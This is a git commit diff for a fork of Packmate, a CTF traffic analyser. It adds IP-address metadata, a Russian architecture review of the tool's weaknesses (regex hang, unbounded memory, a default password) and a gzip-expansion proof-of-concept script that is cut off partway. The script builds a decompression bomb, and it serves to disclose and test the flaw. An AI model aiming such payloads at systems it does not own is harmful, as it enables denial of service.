mirror of
https://github.com/Av0idD4rk/packmate.git
synced 2026-10-23 13:51:00 +00:00
Add packet IP metadata and diagnostics
This commit is contained in:
parent
938031f1de
commit
d18328d183
1
.gitignore
vendored
1
.gitignore
vendored
@ -26,6 +26,7 @@ HELP.md
|
||||
/nbproject/private/
|
||||
/nbbuild/
|
||||
/dist/
|
||||
__pycache__/
|
||||
/nbdist/
|
||||
/.nb-gradle/
|
||||
|
||||
|
||||
3
.gitmodules
vendored
3
.gitmodules
vendored
@ -1,3 +1,4 @@
|
||||
[submodule "frontend"]
|
||||
path = frontend
|
||||
url = https://gitlab.com/packmate/packmate-frontend.git
|
||||
url = git@github.com:Av0idD4rk/packmate.git
|
||||
branch = frontend
|
||||
|
||||
22
README.md
22
README.md
@ -13,6 +13,7 @@
|
||||
* Подстрока
|
||||
* Регулярное выражение
|
||||
* Бинарная подстрока
|
||||
* Показывает IPv4/IPv6 адреса отправителя и получателя для каждого пакета
|
||||
* Умеет автоматически удалять стримы с определенным контентом, которые не нужно отображать
|
||||
* Умеет сохранять стримы в избранное и отображать только избранные стримы
|
||||
* Работает с несколькими сервисами на разных портах, может отображать стримы для конкретных сервисов и паттернов
|
||||
@ -26,6 +27,21 @@
|
||||
|
||||

|
||||
|
||||
## Изменения этого форка
|
||||
|
||||
IP-адреса сохраняются вместе с пакетами, возвращаются API и отображаются в
|
||||
карточке как `source → destination`.
|
||||
|
||||
Старые записи не содержат IP-адресов, поскольку исходная версия их не сохраняла.
|
||||
Для восстановления адресов нужно повторно импортировать исходный PCAP.
|
||||
Подробности и описание API находятся в
|
||||
[docs/IP_ADDRESSES.md](docs/IP_ADDRESSES.md).
|
||||
|
||||
В [docs/ARCHITECTURE_REVIEW_RU.md](docs/ARCHITECTURE_REVIEW_RU.md) находится
|
||||
ревью готовности к крупным Attack/Defense соревнованиям. Проверочный скрипт для
|
||||
неограниченной распаковки GZIP HTTP находится в
|
||||
[poc/http_gzip_expansion.py](poc/http_gzip_expansion.py).
|
||||
|
||||
## Быстрый запуск
|
||||
Для быстрого запуска Packmate следует использовать [этот стартер](https://gitlab.com/packmate/starter/-/blob/master/README.md).
|
||||
|
||||
@ -35,15 +51,15 @@
|
||||
### Клонирование
|
||||
Поскольку этот репозиторий содержит фронтенд как git submodule, его необходимо клонировать так:
|
||||
```bash
|
||||
git clone --recurse-submodules https://gitlab.com/packmate/Packmate.git
|
||||
git clone --recurse-submodules git@github.com:Av0idD4rk/packmate.git
|
||||
|
||||
# Или, на старых версиях git
|
||||
git clone --recursive https://gitlab.com/packmate/Packmate.git
|
||||
git clone --recursive git@github.com:Av0idD4rk/packmate.git
|
||||
```
|
||||
|
||||
Если репозиторий уже был склонирован без подмодулей, необходимо выполнить:
|
||||
```bash
|
||||
git pull # Забираем свежую версию мастер-репы из gitlab
|
||||
git pull # Забираем свежую версию master из GitHub
|
||||
git submodule update --init --recursive
|
||||
```
|
||||
|
||||
|
||||
318
docs/ARCHITECTURE_REVIEW_RU.md
Normal file
318
docs/ARCHITECTURE_REVIEW_RU.md
Normal file
@ -0,0 +1,318 @@
|
||||
# Packmate: ревью перед крупным Attack/Defense CTF
|
||||
|
||||
Дата: 2026-10-10. Backend: `938031f1dedfbedabef5b049368ed5b6ba6a900a`;
|
||||
frontend: `8f23d97100f11cd6671bb62aca5ce9b6a898b865`, плюс локальный патч IP-адресов.
|
||||
Проверку выполнили три сабагента по направлениям capture/decoders, backend/DB/API,
|
||||
frontend/deployment; основной агент сопоставил результаты с исходниками.
|
||||
|
||||
Обновление после ревью: реализована regex-фильтрация по IP и необходимое для неё
|
||||
исправление live pattern-фильтра (пункт 9: `foundPatternsIds`). Остальные находки
|
||||
ниже остаются открытыми. По просьбе пользователя работа идёт по одному этапу
|
||||
с остановкой после проверки; следующий предложенный этап — зацикливание regex
|
||||
по содержимому (пункт 1).
|
||||
|
||||
## Вывод
|
||||
|
||||
В текущем виде я бы не использовал Packmate как единственный анализатор трафика
|
||||
на крупном соревновании. Есть подтверждённые пути зависания обработки, потери
|
||||
содержимого, неверного отображения и неограниченного роста памяти. Их нужно
|
||||
исправить до оценки максимальной пропускной способности. Добавление CPU/RAM или
|
||||
реплик приложения само по себе эти ошибки не устраняет.
|
||||
|
||||
Это ревью исходников, а не сертификат производительности. Нагрузочный replay,
|
||||
PostgreSQL EXPLAIN и испытание live capture не проводились. Предполагаемая цель —
|
||||
инструмент команды, принимающий трафик её сервисов; центральный сбор всех команд
|
||||
потребует дополнительно определить изоляцию данных, число sensors и бюджет хранения.
|
||||
|
||||
## Текущая архитектура
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
NIC[Интерфейс / PCAP] --> PCAP[pcap4j: pcap-loop]
|
||||
PCAP --> Q[Live: неограниченная очередь]
|
||||
Q --> P[Один pcap-processor]
|
||||
P --> M[Потоки целиком в heap]
|
||||
M --> D[TLS / WebSocket / HTTP]
|
||||
D --> F[Поиск паттернов]
|
||||
F --> DB[(PostgreSQL через JPA)]
|
||||
DB --> WS[Синхронная рассылка SockJS]
|
||||
WS --> UI[Vue 2 SPA]
|
||||
UI --> API[REST в том же JVM]
|
||||
API --> DB
|
||||
LB[Lookback / retention] --> DB
|
||||
```
|
||||
|
||||
В FILE-режиме обработка идёт inline. Backend, capture, декодирование, REST,
|
||||
WebSocket и фоновые задачи работают в одной JVM. PostgreSQL хранит метаданные,
|
||||
payload `bytea` и совпадения: `Stream → Packet → FoundPattern`, плюс связь
|
||||
`Stream ↔ Pattern`. Vue поставляется внутри JAR. Compose запускает приложение
|
||||
и одну PostgreSQL на host-network. Конфигурация предполагает один `localIp`,
|
||||
сервис идентифицируется портом; caches и подписчики локальны для процесса.
|
||||
|
||||
## Находки с высоким приоритетом
|
||||
|
||||
P1 означает исправление до большого соревнования; P2 — следующий обязательный
|
||||
этап укрепления. Приоритет учитывает условия воспроизведения, а не измеренную частоту.
|
||||
Пути ниже относительно корня репозитория; номера строк относятся к проверенной версии.
|
||||
|
||||
### 1. P1: обработка может зациклиться на обычном regex
|
||||
|
||||
`src/main/java/ru/serega6531/packmate/service/PatternMatcher.java:52–59`:
|
||||
цикл вызывает `matcher.find(startPos)` и присваивает `startPos = matcher.end()`.
|
||||
При пустом совпадении (`^`, `a*`) позиция не сдвигается. Для `^` каждый поиск
|
||||
снова находит диапазон `[0,0)`. Live processor перестаёт сохранять последующие
|
||||
потоки, очередь продолжает расти.
|
||||
|
||||
Исправить продвижение поиска: использовать `Matcher.find()` без ручного сброса
|
||||
позиции и определить политику пустых совпадений. Ограничить стоимость regex на
|
||||
недоверенном payload; один timeout вокруг Java regex не гарантирует остановку
|
||||
вычисления. При необходимости использовать движок с ограниченным временем
|
||||
поиска/линейной сложностью или изолированный worker.
|
||||
|
||||
### 2. P1: один consumer и очередь без лимита
|
||||
|
||||
`pcap/LivePcapWorker.java:39`, `pcap/AbstractPcapWorker.java:202`,
|
||||
`service/StreamService.java:107–141` под `src/main/java/ru/serega6531/packmate/`.
|
||||
`LinkedBlockingQueue<>` не ограничена практически полезным бюджетом. Единственный
|
||||
обработчик синхронно декодирует поток, ищет паттерны, сохраняет его и рассылает WS.
|
||||
Медленная БД, дорогой regex или клиент UI увеличивают backlog захваченных payload
|
||||
в heap вплоть до OOM.
|
||||
|
||||
Разделить этапы, ограничить очереди по байтам и количеству элементов, добавить
|
||||
spool на диск и явную политику перегрузки. Блокирование callback захвата при
|
||||
полной очереди само по себе переносит потери в capture/kernel buffer. Нужны
|
||||
счётчики потерь и возможность повторной обработки сохранённого сырого трафика.
|
||||
|
||||
### 3. P1: активные соединения не имеют лимита размера и возраста
|
||||
|
||||
`pcap/AbstractPcapWorker.java:180,237`, `tasks/TimeoutStreamsSaver.java:16`.
|
||||
Сохраняется весь список пакетов; проверяется только idle timeout последнего
|
||||
пакета. Постоянный WebSocket/UDP/keep-alive поток может расти весь раунд и
|
||||
появиться в UI только после завершения/простоя. FILE-режим не запускает timeout
|
||||
saver: UDP и незакрытые TCP могут копиться до EOF большого дампа.
|
||||
|
||||
Ввести общий budget активных flow, предел байтов на flow, максимальную длительность
|
||||
сегмента и периодическое сохранение частей с общим connection ID. Для FILE
|
||||
эвикция должна использовать время пакетов, а не wall clock обработки дампа.
|
||||
|
||||
### 4. P1: отсутствует TCP reassembly по sequence numbers
|
||||
|
||||
`pcap/AbstractPcapWorker.java:96`, `utils/PacketUtils.java:21`.
|
||||
SEQ не учитывается: payload конкатенируется в порядке захвата. Retransmission
|
||||
дублирует байты, out-of-order меняет содержимое, gaps не обозначаются. Это
|
||||
влияет на поиск флагов, воспроизводимость запросов и декодирование протоколов.
|
||||
|
||||
Нужен двунаправленный reassembly с SYN/SEQ, retransmit/overlap policy, ограниченным
|
||||
окном reorder и признаками incomplete/gap/truncated. Сохранять исходный capture
|
||||
и производное представление раздельно. TLS parser также должен получать поток
|
||||
байтов: сейчас `service/optimization/TlsDecryptor.java:70,275` пытается разобрать
|
||||
TLS record из каждого отдельного TCP payload до объединения.
|
||||
|
||||
### 5. P1: HTTP pipelining теряет данные, распаковка не ограничена
|
||||
|
||||
`service/optimization/HttpProcessor.java:34–43,51–63`,
|
||||
`service/optimization/StreamOptimizer.java:54`.
|
||||
После merge парсится одно HTTP-сообщение; весь исходный блок заменяется им.
|
||||
Два запроса в одном блоке теряют второй перед поиском паттернов. Декодированное
|
||||
тело пишется в растущий `ByteArrayOutputStream`; аргумент `256` у
|
||||
`writeDecodedTo` — размер рабочего буфера, а не лимит результата.
|
||||
|
||||
Потеря второго запроса подтверждена запуском собранного `HttpProcessor` через
|
||||
временный Java harness: вход 87 байт с `/first` и `/second`, выход 43 байта,
|
||||
`HTTP_FIRST_PRESENT=true`, `HTTP_SECOND_PRESENT=false`. Ошибочное равенство
|
||||
ключей flow из раздела P2 также подтверждено исполнением `UnfinishedStream`:
|
||||
разные пары endpoint имеют `equals=true` и одинаковый hash.
|
||||
|
||||
Разбирать все сообщения с учётом framing, сохранять необработанный остаток,
|
||||
ограничить размер декодированного тела, коэффициент расширения и бюджет обработки.
|
||||
Оставлять raw bytes доступными независимо от результата декодирования.
|
||||
|
||||
Воспроизводимый сетевой PoC находится в `poc/http_gzip_expansion.py`. Он
|
||||
отправляет gzip HTTP POST на указанный host/port и позволяет задать точный
|
||||
объём после распаковки. Проверочный запуск с `100MiB` передал 101 942 байта
|
||||
сжатого тела при ожидаемых 104 857 600 байтах после декодирования (1028,6×).
|
||||
Инструкция и ограничения: `poc/README.md`.
|
||||
|
||||
### 6. P1: страница пакетов может загрузить весь оставшийся поток
|
||||
|
||||
`repository/StreamRepository.java:21–27`, `service/StreamService.java:261`.
|
||||
`LEFT JOIN FETCH p.matches` объединён с `Pageable`. При fetch join коллекции
|
||||
Hibernate ограничивает результат в памяти: небольшой pageSize не ограничивает
|
||||
объём прочитанных packets/payload/matches. Повторные страницы большого потока
|
||||
снова выполняют дорогую загрузку. Это вывод по семантике Hibernate; SQL-трасса
|
||||
на реальной PostgreSQL в этом ревью не снималась.
|
||||
|
||||
Сначала получать страницу ID с SQL LIMIT, затем выбранные packets и matches.
|
||||
Кандидат индекса: `(stream_id,id)`. Включить
|
||||
`hibernate.query.fail_on_pagination_over_collection_fetch=true` как регрессионную
|
||||
защиту. Дополнительно ограничить pageSize и байты ответа на сервере.
|
||||
|
||||
### 7. P1: lookback и retention работают слишком крупными транзакциями
|
||||
|
||||
`service/StreamService.java:145–159,270,309`, `repository/StreamRepository.java:19`.
|
||||
Lookback выбирает весь интервал и держит загружаемые packet graphs в одном
|
||||
persistence context. Derived delete retention удаляет сущности через ORM
|
||||
cascade, а не ограниченный bulk SQL. Большая история создаёт heap pressure,
|
||||
длинные транзакции и конкуренцию с ingest. `docker-compose.yml:11` дополнительно
|
||||
отключает cleanup по умолчанию, позволяя БД расти до заполнения диска.
|
||||
|
||||
Lookback: durable jobs, ограниченный executor, курсор, небольшие транзакции,
|
||||
отмена и прогресс. Retention: ограниченные SQL batches с продуманным FK cascade,
|
||||
затем временные партиции. Перед удалением партиции избранные потоки нужно
|
||||
перенести/сохранить отдельно. Политика хранения должна включать бюджет диска.
|
||||
|
||||
### 8. P1: общее изменяемое состояние небезопасно для concurrency
|
||||
|
||||
`service/PatternService.java:39,67,139`, `service/ServicesService.java:35,76,119`:
|
||||
HTTP изменяет обычные HashMap, пока capture и async job их читают/итерируют.
|
||||
Возможны CME и несогласованные настройки. `service/PatternMatcher.java:19–21,141–147`
|
||||
кеширует общие mutable KMP searchers; `utils/KMPStringSearcher.java:16,46,70`
|
||||
содержит изменяемый `lastEnd`. Live и lookback могут портить позиции совпадений
|
||||
друг друга даже после замены map на concurrent variant.
|
||||
|
||||
Публиковать immutable snapshots конфигурации после commit. Кешировать только
|
||||
неизменяемые скомпилированные паттерны; состояние поиска создавать на операцию.
|
||||
Не увеличивать число capture workers без явного владения состоянием каждого flow.
|
||||
|
||||
### 9. P1: live-фильтр по паттерну ломает новые события
|
||||
|
||||
`frontend/src/components/Sidebar.vue:206` читает `stream.foundPatterns.some`,
|
||||
а `model/pojo/StreamDto.java:16` отдаёт `foundPatternsIds`. Воспроизведено запуском
|
||||
реального метода компонента в Node: корректный DTO с `foundPatternsIds:[1]`
|
||||
вызывает TypeError; новый поток при активном pattern-фильтре не появляется.
|
||||
|
||||
Использовать `foundPatternsIds.includes(Number(route.query.pattern))` и общий
|
||||
контракт REST/WS с проверкой события активного фильтра.
|
||||
|
||||
### 10. P1: UI не ограничивает историю и смешивает ответы разных запросов
|
||||
|
||||
`frontend/src/components/Sidebar.vue:35,210`: каждый NEW_STREAM добавляется
|
||||
в неограниченный массив, весь массив рендерится. При условных 100 events/s за час
|
||||
это 360 000 элементов, если вкладка успевает принять события. Это арифметический
|
||||
пример роста, не результат нагрузочного теста.
|
||||
|
||||
`frontend/src/views/ContentStream.vue:62–77`: запоздалый ответ A добавляется
|
||||
в массив после перехода к B. Воспроизведено вызовом исходного метода с отложенным
|
||||
HTTP-ответом. Аналогичная гонка есть у смены фильтра sidebar.
|
||||
|
||||
Ограничить окно истории, виртуализировать списки, пакетировать live updates.
|
||||
Отменять запросы и проверять generation/request key до изменения данных и
|
||||
состояния infinite loader. Виртуализация без ограничения массива не решает память.
|
||||
|
||||
### 11. P1 при доступности из игровой сети: небезопасные значения запуска
|
||||
|
||||
`docker-compose.yml:9–10,20`, `docker/Dockerfile_app:26`: известный fallback
|
||||
`BinaryBears/123456`, host-network и bind `0.0.0.0`. Если UI-порт достижим
|
||||
противником и пароль не переопределён, доступны захваченные данные и управление.
|
||||
Это условный риск конфигурации, а не утверждение о доступности данного компьютера.
|
||||
|
||||
Сделать web password обязательным, отделить management network/VPN и capture
|
||||
interface, настроить TLS для доступа. `configuration/SecurityConfiguration.java:60`
|
||||
также пишет введённый пароль при ошибке входа — убрать его из логов.
|
||||
|
||||
## Дополнительные исправления P2
|
||||
|
||||
| Проблема | Место | Что изменить |
|
||||
|---|---|---|
|
||||
| Ключ flow независимо переставляет IP и порты: `A:80→B:50000` равен `A:50000→B:80` | `model/pojo/UnfinishedStream.java:21` | Сравнивать пары `(IP,port)` целиком, затем протокол; выделять новые поколения TCP-соединений |
|
||||
| Shutdown закрывает pcap, но не дренирует очередь и не сохраняет активные потоки | `pcap/LivePcapWorker.java:63` | Остановить producer, drain consumer, flush flows, завершить executors до закрытия БД |
|
||||
| HEX искажает байты: `FF 80 00` превращается в `FD FD 00` | `frontend/src/components/Packet.vue`, computed `hexdata`, `atou`, `hexdump` | Строить HEX из Uint8Array без UTF-8 преобразования; дефект воспроизведён в Node |
|
||||
| WS не имеет восстановления пропущенных событий | `service/SubscriptionService.java:53–59`, `frontend/src/App.vue:62` | Отдельная очередь на сессию, последовательная отправка, лимиты, cursor/resync при reconnect/overflow |
|
||||
| Lookback продвигает checkpoint до выполнения, FINISH уходит до commit | `service/PatternService.java:153–158`, `service/StreamService.java:159` | Durable job/checkpoint после успешного чанка, after-commit/outbox, идемпотентность повторов |
|
||||
| Lookback не применяет ограничение паттерна по сервису | `service/StreamService.java:148,211` | Одинаковая фильтрация сервиса для live и historical поиска |
|
||||
| Список streams платит за count и lazy N+1; индексы не соответствуют фильтрам | `service/StreamService.java:302`, `configuration/ApplicationConfiguration.java:62`, `model/Stream.java:33` | Slice/limit+1, projections/batch fetch; проверить индексы service+id, timestamps, favorite через EXPLAIN |
|
||||
| Minute counters обновляются и очищаются без синхронизации | `service/CountingService.java:20–46` | Атомарный snapshot/reset; раздельные captured/persisted/ignored/dropped counters |
|
||||
| Размер страницы не ограничен | `model/pojo/PacketPagination.java:12`, `model/pojo/StreamPagination.java:13` | Validation min/max, предел байтов ответа и времени запроса |
|
||||
| Публикация Docker образа не требует Java test | `docker/Dockerfile_app:10`, `.gitlab-ci.yml:20` | Обязательный test gate и frontend lint/build; npm ci, фиксированные версии образов |
|
||||
|
||||
Пути Java в таблице находятся под `src/main/java/ru/serega6531/packmate/`.
|
||||
CSRF отключён при browser Basic auth (`SecurityConfiguration.java:36`):
|
||||
пересмотреть защиту изменяющих состояние endpoints; браузерная эксплуатация
|
||||
в рамках ревью не проверялась. У приложения нет отдельного healthcheck и
|
||||
использования pcap drop statistics; лог executor раз в минуту не определяет
|
||||
сохранность захвата. Поддержка RSA TLS в коде не означает поддержку расшифровки
|
||||
ECDHE/TLS 1.3 без session secrets.
|
||||
|
||||
## Предлагаемая архитектура развития
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
S[Capture sensors] --> R[Ограниченный дисковый spool / raw segments]
|
||||
R --> A[Reassembly: владелец каждого flow]
|
||||
A --> W[Workers: decode и matching]
|
||||
W --> D[(PostgreSQL: metadata / matches)]
|
||||
W --> B[(Сжатые payload segments)]
|
||||
D --> O[Outbox / events]
|
||||
O --> G[WS gateway с cursors]
|
||||
G --> U[UI с ограниченным окном]
|
||||
U --> Q[Query API]
|
||||
Q --> D
|
||||
Q --> B
|
||||
```
|
||||
|
||||
Сначала эти границы можно реализовать в одном развёртывании с отдельными
|
||||
очередями и worker pools. Отдельные сервисы и общая шина нужны после измерений.
|
||||
Сборщик должен владеть всем состоянием конкретного соединения; распределение
|
||||
делать по стабильному ключу `(sensor, endpoint A, endpoint B, protocol)`,
|
||||
с учётом направления и поколения соединения. Shared mutable maps нельзя просто
|
||||
обслуживать несколькими потоками.
|
||||
|
||||
Для нескольких sensors ввести `sensorId`, самостоятельный `serviceId`,
|
||||
endpoint host/IP+port+protocol, capture timestamps и признаки неполноты.
|
||||
Сырые данные должны иметь retention и ссылку из метаданных. Вынос payload
|
||||
из PostgreSQL рассматривать по измеренному IO/объёму; он усложняет атомарность,
|
||||
удаление, доступ к данным и обработку orphan segments. Kafka/ClickHouse не
|
||||
обязательны на первом этапе.
|
||||
|
||||
## Порядок работ и критерии готовности
|
||||
|
||||
1. **Корректность и остановка зависаний.** Исправить regex, KMP concurrency,
|
||||
endpoint equality, HTTP pipelining, frontend filter/races/HEX. Добавить
|
||||
проверки на retransmission/reorder/gaps и корректный TCP reassembly.
|
||||
Acceptance: контрольные байты/флаги воспроизводятся без молчаливого искажения.
|
||||
2. **Ограниченные ресурсы и восстановление.** Бюджеты очередей/flow/decode/UI,
|
||||
сохранение частей долгих соединений, spool, graceful shutdown, WS resync.
|
||||
Acceptance: искусственное замедление БД/браузера не ведёт к бесконечному heap;
|
||||
пропуски явно измеряются, backlog восстанавливается из доступного spool.
|
||||
3. **БД и фоновые задачи.** Двухэтапная пагинация, bounded lookback и retention,
|
||||
индексы по EXPLAIN, durable checkpoints, отдельно сохранённые favorites.
|
||||
Acceptance: запрос одной страницы ограничен объёмом страницы, а не историей;
|
||||
фоновые задачи не исчерпывают DB pool и память ingest.
|
||||
4. **Эксплуатация.** Обязательные credentials, management-доступ, CI gates,
|
||||
метрики и alerting, проверяемый restart/recovery, управление версией схемы
|
||||
через миграции вместо единственного `ddl-auto=update`.
|
||||
5. **Измерение и масштабирование.** PCAP replay на целевом оборудовании с
|
||||
реальным распределением packets/s, bytes/s, flows/s и размеров flow.
|
||||
Проверить ожидаемый пик и запас, например 2×, плюс длительный прогон на
|
||||
продолжительность соревнования. Только после этого обещать конкретный масштаб.
|
||||
|
||||
Набор нагрузочных сценариев: короткие TCP, длительные TCP/UDP, retransmit/reorder,
|
||||
HTTP pipelining и сжатие, TLS segmentation, крупные payload, частые regex matches;
|
||||
одновременно несколько операторов, lookback и retention. Отдельно проверять
|
||||
медленный WS-клиент, reconnect, замедление/недоступность БД, перезапуск процесса,
|
||||
исчерпание бюджета spool и диска. Сравнивать входной manifest пакетов/флагов
|
||||
с сохранёнными данными, включая корректное устранение retransmission.
|
||||
|
||||
Измерять capture/kernel drops, accepted/persisted/ignored/truncated counts,
|
||||
queue bytes и oldest age, active flow bytes, decode/match время, DB commit
|
||||
p95/p99, capture→searchable и capture→UI lag, heap/RSS/GC, disk throughput,
|
||||
retention duration, API p95/p99, browser heap/DOM. Пороговые значения согласовать
|
||||
с фактическим объёмом и задачами команды. Для ориентира бюджета: непрерывный
|
||||
1 Gbit/s — около 450 GB за час до сжатия и накладных расходов хранения.
|
||||
|
||||
## Границы текущих изменений
|
||||
|
||||
В этой рабочей копии реализован запрос на IP-адреса пакетов и добавлены проверки
|
||||
их сохранения при merge/DTO mapping, включая IPv6 и старые записи. Рекомендации
|
||||
ревью выше являются планом доработок; архитектура по ним ещё не переписана.
|
||||
Инструкция по патчу: [IP_ADDRESSES.md](IP_ADDRESSES.md).
|
||||
|
||||
Проверки рабочей копии: backend `bootJar` собран; все 5 новых тестов IP прошли
|
||||
при первом прогоне. Полный прогон первоначально дал 12/13: существующий TLS-тест
|
||||
падает на CRLF в PEM (`Illegal base64 character d`), потому что `RsaKeysHolder`
|
||||
удаляет только LF. После нормализации **копии** fixture в `build/resources/test`
|
||||
на LF и запуска `test -x processTestResources` прошли 13/13. Исходник PEM и TLS
|
||||
loader не изменялись; Windows-совместимость loader требует отдельного исправления.
|
||||
Frontend lint изменённого компонента и production build прошли; сборщик
|
||||
предупреждает о размере vendor bundle. Live capture, миграция схемы и полный
|
||||
браузерный сценарий с работающим backend не запускались.
|
||||
76
docs/IP_ADDRESSES.md
Normal file
76
docs/IP_ADDRESSES.md
Normal file
@ -0,0 +1,76 @@
|
||||
# IP-адреса в карточках пакетов
|
||||
|
||||
Пакеты теперь сохраняют `sourceIp` и `destinationIp` из IPv4/IPv6-заголовка
|
||||
при захвате TCP и UDP. Эти поля возвращаются в API пакетов и выводятся над
|
||||
содержимым в формате `источник → получатель`, в текстовом и HEX-режиме.
|
||||
Склеивание соседних пакетов сохраняет адреса; TLS/WebSocket обработчики
|
||||
наследуют их через `toBuilder()`.
|
||||
|
||||
При запуске штатный `spring.jpa.hibernate.ddl-auto=update` добавит nullable
|
||||
колонки `source_ip` и `destination_ip` в таблицу `packet`. Старые записи
|
||||
останутся без адресов: раньше эти данные не сохранялись. Для их восстановления
|
||||
нужен повторный импорт исходного PCAP. Если автоматическое изменение схемы
|
||||
отключено, перед запуском нужно добавить две nullable колонки varchar(255).
|
||||
|
||||
Изменены backend и git submodule `frontend`; при переносе правок нужно
|
||||
сохранять изменения обоих репозиториев. Для существующего Linux-развёртывания
|
||||
с настроенным `.env` пересоберите приложение:
|
||||
|
||||
```sh
|
||||
docker compose up -d --build packmate
|
||||
```
|
||||
|
||||
Проверка backend: `./gradlew test bootJar` (JDK 17).
|
||||
Проверка frontend: `npm ci`, `npm run lint -- --no-fix src/components/Packet.vue`,
|
||||
`NODE_OPTIONS=--openssl-legacy-provider npm run build` (проверено с Node 18).
|
||||
|
||||
Результат: 5 новых проверок IP прошли, frontend lint/build и backend bootJar
|
||||
успешны. В Windows существующий TLS-тест зависит от LF в PEM-файле: с CRLF
|
||||
падает исходный `RsaKeysHolder`. После преобразования переносов только в
|
||||
`build/resources/test/tls.key` и запуска `test -x processTestResources` прошли
|
||||
все 13 тестов. Live capture и миграция PostgreSQL в этой проверке не запускались.
|
||||
|
||||
## Фильтрация IP регулярным выражением
|
||||
|
||||
В **Patterns → +** выберите **Search in**:
|
||||
|
||||
- **Source IP** — адрес отправителя конкретного пакета;
|
||||
- **Destination IP** — адрес получателя;
|
||||
- **Either IP address** — совпадение хотя бы с одним из двух адресов;
|
||||
- **Packet content** — прежний поиск по содержимому.
|
||||
|
||||
При выборе IP метод автоматически переключается на **Regular expression**.
|
||||
Например, `^10\.20\.30\.[0-9]+$` выбирает адреса с префиксом `10.20.30.`,
|
||||
а `^192\.0\.2\.17$` — ровно один адрес. Regex проверяется по строке адреса,
|
||||
показанной в карточке, без порта. IPv6 может быть записан в развёрнутой форме;
|
||||
например, `(?i)^2001:db8:` ищет этот префикс независимо от регистра.
|
||||
Поиск использует Java regex `find()`; якоря `^` и `$` задают совпадение всей строки.
|
||||
|
||||
Для фильтра списка оставьте действие **Highlight found pattern**, сохраните
|
||||
паттерн и выберите его в **Patterns**. Совпавшие IP подсвечиваются в карточках;
|
||||
совпадения по адресам не меняют подсветку payload. Действие **Ignore matching
|
||||
streams** исключает совпадающие новые потоки из сохранения. Направление
|
||||
Request/Response задаётся отдельно; Source/Destination всегда относятся
|
||||
к направлению конкретного пакета, а не к фиксированной роли client/server.
|
||||
|
||||
Для уже сохранённых потоков с IP можно запустить **Apply pattern to older
|
||||
streams**. Без сохранённых адресов IP-паттерн не совпадёт, даже с `.*`.
|
||||
Существующее ограничение lookback по service описано в архитектурном ревью
|
||||
(оно пока не исправлено); до его исправления historical поиск не обеспечивает
|
||||
изоляцию выбранного сервиса. Новые потоки учитывают service и direction.
|
||||
|
||||
API создания паттерна получает новое поле `searchTarget`:
|
||||
`CONTENT`, `SOURCE_IP`, `DESTINATION_IP`, `EITHER_IP`. Для IP допустим только
|
||||
`searchType: REGEX`. Если поле отсутствует/null, действует прежний поиск CONTENT.
|
||||
API совпадений возвращает `searchTarget` фактически совпавшего поля.
|
||||
|
||||
При обновлении также добавляются nullable строковые колонки `search_target`
|
||||
в таблицы `pattern` и `found_pattern` (штатный Hibernate ddl-auto=update).
|
||||
Null в старых строках означает CONTENT. При ручном управлении схемой добавьте
|
||||
эти две колонки varchar(255) перед запуском. Backend и frontend нужно обновить
|
||||
совместно; frontend находится в отдельном git submodule.
|
||||
|
||||
Проверки этого этапа: 20 backend tests (12 новых сценариев IP-паттернов плюс
|
||||
существующие matching/IP tests), 5 frontend tests (`npm run test:ip-patterns`),
|
||||
lint четырёх компонентов, frontend production build и backend bootJar — успешны.
|
||||
Работа с живым захватом и PostgreSQL в этом этапе не проверялась.
|
||||
2
frontend
2
frontend
@ -1 +1 @@
|
||||
Subproject commit 8f23d97100f11cd6671bb62aca5ce9b6a898b865
|
||||
Subproject commit 9896d4b104cdcfaacd0fec35a3c0e8b8f8ed69cc
|
||||
24
poc/README.md
Normal file
24
poc/README.md
Normal file
@ -0,0 +1,24 @@
|
||||
# HTTP gzip expansion PoC
|
||||
|
||||
`http_gzip_expansion.py` sends an HTTP POST whose gzip body expands to the
|
||||
requested number of bytes. It is intended to demonstrate that Packmate's
|
||||
current `HttpProcessor` has no decoded-body limit.
|
||||
|
||||
Start any TCP/HTTP listener on a port configured in Packmate as an HTTP service,
|
||||
then send the request. For example:
|
||||
|
||||
```powershell
|
||||
python -m http.server 8080
|
||||
python poc/http_gzip_expansion.py --port 8080 --decompressed-bytes 100MiB
|
||||
```
|
||||
|
||||
The HTTP listener may answer with an error; Packmate still captures the request.
|
||||
The connection must complete or reach Packmate's stream timeout before Packmate
|
||||
processes it. Watch the Packmate JVM's heap while increasing the value gradually.
|
||||
|
||||
The argument accepts exact bytes or `KiB`, `MiB`, `GiB`, `KB`, `MB`, `GB`.
|
||||
It controls the decoded body only; the compressed request stays much smaller
|
||||
because it consists of repeated `A` bytes. TCP is a byte stream, so the OS may
|
||||
split the request across several network packets.
|
||||
|
||||
Run this only against a listener and Packmate instance you control.
|
||||
140
poc/http_gzip_expansion.py
Normal file
140
poc/http_gzip_expansion.py
Normal file
@ -0,0 +1,140 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Send a small gzip-compressed HTTP request with a configurable decoded size.
|
||||
|
||||
The target must have a TCP listener on the selected port. Packmate must capture
|
||||
that connection and have the port configured as an HTTP service.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import socket
|
||||
import sys
|
||||
import zlib
|
||||
|
||||
|
||||
CHUNK_SIZE = 1024 * 1024
|
||||
DEFAULT_DECOMPRESSED_BYTES = 8 * 1024 * 1024
|
||||
|
||||
|
||||
def byte_count(value: str) -> int:
|
||||
"""Parse a positive byte count, optionally with KiB/MiB/GiB suffixes."""
|
||||
suffixes = {
|
||||
"": 1,
|
||||
"b": 1,
|
||||
"kib": 1024,
|
||||
"mib": 1024**2,
|
||||
"gib": 1024**3,
|
||||
"kb": 1000,
|
||||
"mb": 1000**2,
|
||||
"gb": 1000**3,
|
||||
}
|
||||
normalized = value.strip().lower()
|
||||
number = normalized
|
||||
suffix = ""
|
||||
for candidate in sorted(suffixes, key=len, reverse=True):
|
||||
if candidate and normalized.endswith(candidate):
|
||||
number = normalized[: -len(candidate)]
|
||||
suffix = candidate
|
||||
break
|
||||
try:
|
||||
result = int(number) * suffixes[suffix]
|
||||
except (KeyError, ValueError) as exc:
|
||||
raise argparse.ArgumentTypeError(
|
||||
"use an integer byte count, optionally with KiB/MiB/GiB"
|
||||
) from exc
|
||||
if result <= 0:
|
||||
raise argparse.ArgumentTypeError("the decoded size must be greater than zero")
|
||||
return result
|
||||
|
||||
|
||||
def gzip_repeated_bytes(decoded_size: int, fill_byte: int = ord("A")) -> bytes:
|
||||
"""Create gzip data without allocating the decoded representation."""
|
||||
